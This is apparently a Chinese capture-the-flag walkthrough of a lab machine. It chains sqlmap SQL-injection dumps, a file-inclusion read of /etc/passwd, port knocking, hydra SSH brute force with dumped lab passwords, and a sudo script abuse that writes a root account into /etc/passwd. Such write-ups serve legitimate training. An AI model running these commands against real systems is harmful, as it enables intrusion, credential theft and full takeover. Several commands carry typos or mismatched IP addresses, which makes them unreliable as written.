环境下载
环境配置
信息获取
可以看到靶机开放了80端口以及22端口,我们先进入80端口看一下
获取flag
成功进入
我们在search页面发现了一个输入框,我们随便输点东西
我们猜测此页面含有SQL注入漏洞,我们去Sqlmap尝试一下爆破库
sqlmap.py -u "http://192.168.100.5/results.php" --datb "search=1" -dbs
爆破出两个库来,继续爆表
sqlmap.py -u "http://192.168.100.5/results.php" --data "search=1" -D users --tables
继续爆列
sqlmap.py -u "http://192.168.100.5/results.php" --data "search=1" -D users -T UserDetails --dump
获取到了一些用户名以及密码,接下来我们去爆破另一个Staff库
sqlmap.py -u "http://192.168.100.5/results.php" --data "search=1" -D Staff --tables
继续爆字段
sqlmap.py -u "http://19.168.100.5/results.php" --data "search=1" -D Staff -T Users --dump
得到密码,我们去登录一下看看
成功登录,但是页面中并没有什么有用的东西,但是我们发现了
有个提示:File does not exist
显示文件不存在 通过测试 发现 可能是文件包含漏洞发现这里得用户和刚刚数据库里的用户有些一样的
http://192.168.100.5/welcome.php?file=../../../../etc/passwd
确实含有文件包含漏洞
接下来不知道怎么搞了,去网上找了一些文章发现涉及到端口敲门的知识点
什么是端口敲门?:端口敲门服务 - 知乎
knockd 服务的默认配置路径:/etc/knockd.conf
此时我们得到了 sequence,这个有用,先记下来
接下来去kali中安装一下
apt-get install knockd
然后进入配置文件进行编辑 vim /etc/knockd.conf
将sequence改成刚才的三个数组
接下来就是端口敲门
使用命令:knock 172.16.5.117 7469 8475 9842
然后查看一下端口状态,可以发现22端口已经打开
sudo namp -p 22 192.168.100.5
然后把刚刚sqlmap
跑出来的账号和密码 新建两个字典 分别为user
和password
开始爆破
使用命令:hydra -L user.txt -P password.txt ssh://192.168.100.5
发现了三个用户分别是 joeyt Passw0rd
和janitor Ilovepeepee
和chandlerb UrAG0d
使用命令:ssh joeyt@192.168.100.5
等三个用户都进行登入看看有没有什么隐藏的信息
最终在janitor
用户中 发现了一个隐藏文件.secrets-for-putin
查看获取到了一些新的用户密码信息 把刚刚获取的信息再次放入 刚刚的pssword
字典 再次进行爆破
使用命令再次爆破
hydra -L user -P passwd ssh://192.168.100.5
发现一个新的用户: fredf /B4-Tru3-001
尝试登入,发现登入成功
接下来就是提权操作,我们查看一下提权命令
sudo -l
进入cd /opt/devstuff/dist/test/查看发现test
是一个python
文件
接下来我你们使用命令查找python文件并进行查看
find / -name test.py 2>/dev/null
cat /opt/devstuff/test.py
这个函数大概的意思就是将参数 1
的内容写到参数 2
中然后生成一个用户
接下来我们先使用命令 创建一个admin的账号
openssl passwd -1 -salt admin 123456
然后再把/etc/passwd的格式修改一下 然后写入/tmp下面
echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd
然后运行一下,再查看一下,最后su切换用户既可
sudo ./test /tmp/passwd.txt /etc/passwd
cat /etc/passwd
su admin
成功获取FLAG,结束!